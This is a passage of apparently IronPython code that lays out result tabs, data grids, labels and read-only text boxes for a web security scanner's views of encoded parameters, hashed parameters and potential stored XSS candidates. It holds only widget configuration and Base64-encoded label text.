ModUiTools.GetColorDefinition(-1) + enc_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_values_grid.AllowUserToAddRows = False + enc_values_grid.AllowUserToDeleteRows = False + enc_values_grid.AllowUserToResizeColumns = True + enc_values_grid.AllowUserToResizeRows = False + enc_values_grid.ColumnHeadersVisible = True + enc_values_grid.RowHeadersVisible = False + enc_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 265, 5, 'Fill', 'T3JpZ2luYWxWYWx1ZQ==')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 70, 70, 'None', 'RW5jb2Rpbmc=')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 264, 5, 'Fill', 'RGVjb2RlZCBWYWx1ZQ==')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + enc_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ParameterNames', 'DataGridViewTextBoxCell', False, 100, 5, 2, 'NotSet', 'UGFyYW1ldGVyTmFtZXM=')) + enc_values_grid.CellClick += lambda s,e: self.enc_values_grid_click() + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_values_grid) + ui.ModControls['enc_values_grid'] = enc_values_grid + enc_selected_host_tb = ModTextBox() + enc_selected_host_tb.Name = 'enc_selected_host_tb' + enc_selected_host_tb.Size = ModUiTools.GetSizeDefinition(245,39) + enc_selected_host_tb.Location = ModUiTools.GetLocationDefinition(0,408) + enc_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_selected_host_tb.Enabled = True + enc_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_selected_host_tb.ReadOnly = True + enc_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_selected_host_tb.Multiline = True + enc_selected_host_tb.WordWrap = True + enc_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_selected_host_tb) + ui.ModControls['enc_selected_host_tb'] = enc_selected_host_tb + enc_hosts_grid = ModDataGridView() + enc_hosts_grid.Name = 'enc_hosts_grid' + enc_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + enc_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) + enc_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_hosts_grid.Enabled = True + enc_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + enc_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_hosts_grid.AllowUserToAddRows = False + enc_hosts_grid.AllowUserToDeleteRows = False + enc_hosts_grid.AllowUserToResizeColumns = True + enc_hosts_grid.AllowUserToResizeRows = False + enc_hosts_grid.ColumnHeadersVisible = True + enc_hosts_grid.RowHeadersVisible = False + enc_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + enc_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + enc_hosts_grid.CellClick += lambda s,e: self.enc_hosts_grid_click() + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_hosts_grid) + ui.ModControls['enc_hosts_grid'] = enc_hosts_grid + mod_label_8 = ModLabel() + mod_label_8.Name = 'mod_label_8' + mod_label_8.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_8.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_8.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_8.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_8.Enabled = True + mod_label_8.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_8.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_8.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_8.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_8.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGVuY29kZWQgdmFsdWVzOg==') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_8) + ui.ModControls['mod_label_8'] = mod_label_8 + result_tabs.TabPages.Add('hashed_parameters_tab', ' Hashed Parameter Values ') + mod_label_9 = ModLabel() + mod_label_9.Name = 'mod_label_9' + mod_label_9.Size = ModUiTools.GetSizeDefinition(205,17) + mod_label_9.Location = ModUiTools.GetLocationDefinition(252,388) + mod_label_9.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_9.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_9.Enabled = True + mod_label_9.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_9.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_9.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_9.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_9.Text = Tools.Base64Decode('UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_9) + ui.ModControls['mod_label_9'] = mod_label_9 + hashed_parameter_names_tb = ModTextBox() + hashed_parameter_names_tb.Name = 'hashed_parameter_names_tb' + hashed_parameter_names_tb.Size = ModUiTools.GetSizeDefinition(270,41) + hashed_parameter_names_tb.Location = ModUiTools.GetLocationDefinition(251,408) + hashed_parameter_names_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_parameter_names_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_parameter_names_tb.Enabled = True + hashed_parameter_names_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_parameter_names_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_parameter_names_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_parameter_names_tb.ReadOnly = True + hashed_parameter_names_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_parameter_names_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_parameter_names_tb.Multiline = True + hashed_parameter_names_tb.WordWrap = True + hashed_parameter_names_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_parameter_names_tb) + ui.ModControls['hashed_parameter_names_tb'] = hashed_parameter_names_tb + mod_label_10 = ModLabel() + mod_label_10.Name = 'mod_label_10' + mod_label_10.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_10.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_10.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_10.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_10.Enabled = True + mod_label_10.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_10.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_10.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_10.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_10.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_10) + ui.ModControls['mod_label_10'] = mod_label_10 + mod_label_11 = ModLabel() + mod_label_11.Name = 'mod_label_11' + mod_label_11.Size = ModUiTools.GetSizeDefinition(301,18) + mod_label_11.Location = ModUiTools.GetLocationDefinition(527,388) + mod_label_11.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_11.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_11.Enabled = True + mod_label_11.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_11.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_11.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_11.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_11.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_11) + ui.ModControls['mod_label_11'] = mod_label_11 + hashed_log_ids_tb = ModTextBox() + hashed_log_ids_tb.Name = 'hashed_log_ids_tb' + hashed_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,38) + hashed_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,409) + hashed_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_log_ids_tb.Enabled = True + hashed_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_log_ids_tb.ReadOnly = True + hashed_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_log_ids_tb.Multiline = True + hashed_log_ids_tb.WordWrap = True + hashed_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_log_ids_tb) + ui.ModControls['hashed_log_ids_tb'] = hashed_log_ids_tb + mod_label_12 = ModLabel() + mod_label_12.Name = 'mod_label_12' + mod_label_12.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_12.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_12.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_12.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_12.Enabled = True + mod_label_12.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_12.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_12.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_12.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_12.Text = Tools.Base64Decode('Q3JhY2tlZCBWYWx1ZTo=') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_12) + ui.ModControls['mod_label_12'] = mod_label_12 + mod_label_13 = ModLabel() + mod_label_13.Name = 'mod_label_13' + mod_label_13.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_13.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_13.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_13.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_13.Enabled = True + mod_label_13.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_13.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_13.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_13.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_13.Text = Tools.Base64Decode('SGFzaGVkIFZhbHVlOg==') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_13) + ui.ModControls['mod_label_13'] = mod_label_13 + hashed_cracked_value_tb = ModTextBox() + hashed_cracked_value_tb.Name = 'hashed_cracked_value_tb' + hashed_cracked_value_tb.Size = ModUiTools.GetSizeDefinition(336,68) + hashed_cracked_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + hashed_cracked_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_cracked_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_cracked_value_tb.Enabled = True + hashed_cracked_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_cracked_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_cracked_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_cracked_value_tb.ReadOnly = True + hashed_cracked_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_cracked_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_cracked_value_tb.Multiline = True + hashed_cracked_value_tb.WordWrap = True + hashed_cracked_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_cracked_value_tb) + ui.ModControls['hashed_cracked_value_tb'] = hashed_cracked_value_tb + hashed_original_value_tb = ModTextBox() + hashed_original_value_tb.Name = 'hashed_original_value_tb' + hashed_original_value_tb.Size = ModUiTools.GetSizeDefinition(270,68) + hashed_original_value_tb.Location = ModUiTools.GetLocationDefinition(251,317) + hashed_original_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_original_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_original_value_tb.Enabled = True + hashed_original_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_original_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_original_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_original_value_tb.ReadOnly = True + hashed_original_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_original_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_original_value_tb.Multiline = True + hashed_original_value_tb.WordWrap = True + hashed_original_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_original_value_tb) + ui.ModControls['hashed_original_value_tb'] = hashed_original_value_tb + hashed_values_grid = ModDataGridView() + hashed_values_grid.Name = 'hashed_values_grid' + hashed_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + hashed_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + hashed_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_values_grid.Enabled = True + hashed_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + hashed_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_values_grid.AllowUserToAddRows = False + hashed_values_grid.AllowUserToDeleteRows = False + hashed_values_grid.AllowUserToResizeColumns = True + hashed_values_grid.AllowUserToResizeRows = False + hashed_values_grid.ColumnHeadersVisible = True + hashed_values_grid.RowHeadersVisible = False + hashed_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 265, 5, 'Fill', 'T3JpZ2luYWwgSGFzaGVkIFZhbHVl')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 70, 70, 'None', 'SGFzaCBUeXBl')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 264, 5, 'Fill', 'Q3JhY2tlZCBWYWx1ZQ==')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ParameterNames', 'DataGridViewTextBoxCell', False, 100, 5, 2, 'NotSet', 'UGFyYW1ldGVyTmFtZXM=')) + hashed_values_grid.CellClick += lambda s,e: self.hashed_values_grid_click() + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_values_grid) + ui.ModControls['hashed_values_grid'] = hashed_values_grid + hashed_selected_host_tb = ModTextBox() + hashed_selected_host_tb.Name = 'hashed_selected_host_tb' + hashed_selected_host_tb.Size = ModUiTools.GetSizeDefinition(242,39) + hashed_selected_host_tb.Location = ModUiTools.GetLocationDefinition(3,408) + hashed_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_selected_host_tb.Enabled = True + hashed_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_selected_host_tb.ReadOnly = True + hashed_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_selected_host_tb.Multiline = True + hashed_selected_host_tb.WordWrap = True + hashed_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_selected_host_tb) + ui.ModControls['hashed_selected_host_tb'] = hashed_selected_host_tb + hashed_hosts_grid = ModDataGridView() + hashed_hosts_grid.Name = 'hashed_hosts_grid' + hashed_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + hashed_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) + hashed_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_hosts_grid.Enabled = True + hashed_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + hashed_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_hosts_grid.AllowUserToAddRows = False + hashed_hosts_grid.AllowUserToDeleteRows = False + hashed_hosts_grid.AllowUserToResizeColumns = True + hashed_hosts_grid.AllowUserToResizeRows = False + hashed_hosts_grid.ColumnHeadersVisible = True + hashed_hosts_grid.RowHeadersVisible = False + hashed_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + hashed_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + hashed_hosts_grid.CellClick += lambda s,e: self.hashed_hosts_grid_click() + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_hosts_grid) + ui.ModControls['hashed_hosts_grid'] = hashed_hosts_grid + mod_label_14 = ModLabel() + mod_label_14.Name = 'mod_label_14' + mod_label_14.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_14.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_14.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_14.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_14.Enabled = True + mod_label_14.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_14.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_14.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_14.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_14.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_14) + ui.ModControls['mod_label_14'] = mod_label_14 + result_tabs.TabPages.Add('stored_reflections_tab', ' Potential Stored XSS Candidates ') + mod_label_15 = ModLabel() + mod_label_15.Name = 'mod_label_15' + mod_label_15.Size = ModUiTools.GetSizeDefinition(250,17) + mod_label_15.Location = ModUiTools.GetLocationDefinition(251,368) + mod_label_15.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_15.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_15.Enabled = True + mod_label_15.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_15.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_15.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_15.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_15.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cyBoYXZpbmcgdGhpcyBQYXJhbWV0ZXI6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_15) + ui.ModControls['mod_label_15'] = mod_label_15 + sr_request_log_ids_tb = ModTextBox() + sr_request_log_ids_tb.Name = 'sr_request_log_ids_tb' + sr_request_log_ids_tb.Size = ModUiTools.GetSizeDefinition(270,61) + sr_request_log_ids_tb.Location = ModUiTools.GetLocationDefinition(251,388) + sr_request_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_request_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_request_log_ids_tb.Enabled = True + sr_request_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_request_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_request_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_request_log_ids_tb.ReadOnly = True + sr_request_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_request_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_request_log_ids_tb.Multiline = True + sr_request_log_ids_tb.WordWrap = True + sr_request_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_request_log_ids_tb) + ui.ModControls['sr_request_log_ids_tb'] = sr_request_log_ids_tb + mod_label_16 = ModLabel() + mod_label_16.Name = 'mod_label_16' + mod_label_16.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_16.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_16.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_16.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_16.Enabled = True + mod_label_16.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_16.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_16.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_16.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_16.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_16) + ui.ModControls['mod_label_16'] = mod_label_16 + mod_label_17 = ModLabel() + mod_label_17.Name = 'mod_label_17' + mod_label_17.Size = ModUiTools.GetSizeDefinition(307,18) + mod_label_17.Location = ModUiTools.GetLocationDefinition(527,368) + mod_label_17.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_17.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_17.Enabled = True + mod_label_17.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_17.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_17.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_17.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_17.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXNwb25zZXMgaGF2aW5nIHN0b3JlZCByZWZsZWN0aW9uIG9mIHZhbHVlOg==') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_17) + ui.ModControls['mod_label_17'] = mod_label_17 + sr_response_log_ids_tb = ModTextBox() + sr_response_log_ids_tb.Name = 'sr_response_log_ids_tb' + sr_response_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,58) + sr_response_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,389) + sr_response_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_response_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_response_log_ids_tb.Enabled = True + sr_response_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_response_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_response_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_response_log_ids_tb.ReadOnly = True + sr_response_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_response_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_response_log_ids_tb.Multiline = True + sr_response_log_ids_tb.WordWrap = True + sr_response_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_response_log_ids_tb) + ui.ModControls['sr_response_log_ids_tb'] = sr_response_log_ids_tb + mod_label_18 = ModLabel() + mod_label_18.Name = 'mod_label_18' + mod_label_18.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_18.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_18.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_18.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_18.Enabled = True + mod_label_18.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_18.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_18.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_18.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_18.Text = Tools.Base64Decode('UmVmbGVjdGVkIFZhbHVlOg==') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_18) + ui.ModControls['mod_label_18'] = mod_label_18 + mod_label_19 = ModLabel() + mod_label_19.Name = 'mod_label_19' + mod_label_19.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_19.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_19.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_19.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_19.Enabled = True + mod_label_19.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_19.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_19.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_19.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_19.Text = Tools.Base64Decode('UGFyYW1ldGVyIE5hbWU6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_19) + ui.ModControls['mod_label_19'] = mod_label_19 + sr_value_tb = ModTextBox() + sr_value_tb.Name = 'sr_value_tb' + sr_value_tb.Size = ModUiTools.GetSizeDefinition(336,48) + sr_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + sr_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_value_tb.Enabled = True + sr_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_value_tb.ReadOnly = True + sr_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_value_tb.Multiline = True + sr_value_tb.WordWrap = True + sr_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_value_tb) + ui.ModControls['sr_value_tb'] = sr_value_tb + sr_parameter_name_tb = ModTextBox() + sr_parameter_name_tb.Name = 'sr_parameter_name_tb' + sr_parameter_name_tb.Size = ModUiTools.GetSizeDefinition(270,48) + sr_parameter_name_tb.Location = ModUiTools.GetLocationDefinition(251,317) + sr_parameter_name_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_parameter_name_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_parameter_name_tb.Enabled = True + sr_parameter_name_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_parameter_name_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_parameter_name_tb.BorderStyle = 